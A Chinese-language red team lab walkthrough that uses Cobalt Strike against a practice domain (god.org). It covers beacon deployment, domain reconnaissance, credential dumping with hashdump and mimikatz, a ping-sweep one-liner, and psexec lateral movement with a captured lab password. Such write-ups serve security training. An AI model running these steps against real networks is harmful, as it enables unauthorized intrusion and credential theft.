ATT&CK 红队实战(一)2

0x04 内网渗透

4.1 将web服务器上线到CS

将刚才生成的beacon.exe上传到web目录,然后在shell中执行这个exe,就可以将shell上线到CS了。

图片

4.2 目标主机信息收集

拿到 shell 第一步,调低心跳值,默认心跳为 60s,执行命令的响应很慢

我这是自己的内网且没有杀软我就设置为 0 了,真实环境不要设置这么低

进入 beacon 执行 sleep 0,然后查看下基本的本机信息:

1
2
3
4
whoami
hostname
net user
net localgroup administrators

systeminfo 可以查看系统详细信息,提供两个小 tips:

查看是什么操作系统 & 系统版本:

系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%

图片

图片

查询已安装的软件及版本信息:wmic product get name,version

查询进程及服务:

tasklist,默认显示映像名称,PID,会话名,会话,内存使用

tasklist /svc,默认显示映像名称,PID,服务

1
wmic process list brief

常见的杀软进程:
|进程名|软件|
|:—-|:—-|
|360sd.exe|360 杀毒|
|360tray.exe|360 实时保护|
|ZhuDongFangYu.exe|360 主动防御|
|KSafeTray.exe|金山卫士|
|SafeDogUpdateCenter.exe|安全狗|
|McAfee|McShield.exe|
|egui.exe|NOD32|
|AVP.exe|卡巴斯基|
|avguard.exe|小红伞|
|bdagent.exe|BitDefender|

4.3 域信息收集

什么是域

参考文章:内网渗透学习导航

域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从 Windows Server 2003 开始 , Active Directory 是负责维护该中央数据库的 Windows 组件。Windows 域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。

判断是否存在域

使用 ipconfig /all 查看 DNS 服务器:

图片

发现 DNS 服务器名为 god.org,查看域信息:net view

图片

查看主域信息:net view /domain

图片

查看时间服务器:net time /domain

图片

发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)

查询当前的登录域与用户信息:net config workstation

图片

查找域控

利用 nslookup 命令直接解析域名服务器:

1
shell nslookup god.org		# nslookup 域名

查询域控和用户信息

查看当前域的所有用户:net user /domain

图片

获取域内用户的详细信息:wmic useraccount get /all

可以获取到用户名,描述信息,SID 域名等:

查看所有域成员计算机列表:net group "domain computers" /domain

图片

查看域管理员:net group "domain admins" /domain

图片

获取域密码信息:net accounts /domain

图片

4.4 横向探测

获取到一个 cs 的 beacon 后可以继续查看目标内网情况和端口开放情况

在 beacon 上右键 -> 目标 -> 选择 net view 或者 port scan(端口扫描):

net view

图片

执行之后,可以在CobaltStrike->可视化->目标列表看到扫描出来的主机

图片

用 cs 的 hashdump 读内存密码:hashdump

用 mimikatz 读注册表密码:logonpasswords

图片

在凭证信息一栏可以清楚查看

图片

如果权限不够可以提权,自带部分提权POC

图片

图片

额外的提权插件:ElevateKit额外增加 ms14-058ms15-051ms16-016uac-schtasks 四种提权方式

抓取密码后可以先探测内网其他主机:

ping 方法:

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

最简单的直接 arp -a 查看也可以

4.5 横向移动

因为192.168.52.0/24段不能直接连接到192.168.237.137(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
简单来说,SMB Beacon 有两种方式

第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash

新建一个 Listenerpayload 设置为 Beacon SMB

图片

在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beacon 的 listerner:

图片

选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标

图片

这就是派生的 SMB Beacon,当前没有连接

可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它

第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透

前提是能够通过 shell 之类访问到内网其他主机

psexec 使用凭证登录其他主机

前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息

于是可以尝试使用 psexec 模块登录其他主机

右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块

图片

图片

在弹出的窗口中选择使用 god.org 的 Administrator 的凭证信息

监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:

图片

可以看到分别执行了

1
2
3
4
5
beacon> rev2self
[*] Tasked beacon to revert token
beacon> make_token GOD.ORG\Administrator V0Wldl19980114
[*] Tasked beacon to create a token for GOD.ORG\Administrator
beacon> jump psexec ROOT-TVI862UBEH smb

这几条命令,执行后得到了 ROOT-TVI862UBEH 这台主机的 beacon

如法炮制得到了域控主机 OWA 的 beacon

token 窃取

除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administrator 的 token 来登录其他主机

选择 beacon 右键 -> 目标 -> 进程列表

选择 GOD\Administrator 的 token 盗取:

图片

然后在选择令牌处勾选使用当前 token 即可

0x05 总结

我们利用mysql日志写shell或者CMS的模板文件写shell轻松拿下Web服务器,再利用Web服务器作为跳板,去横向收集域内主机信息,并利用窃取的凭证横向移动到其他主机,最终实现整个域的控制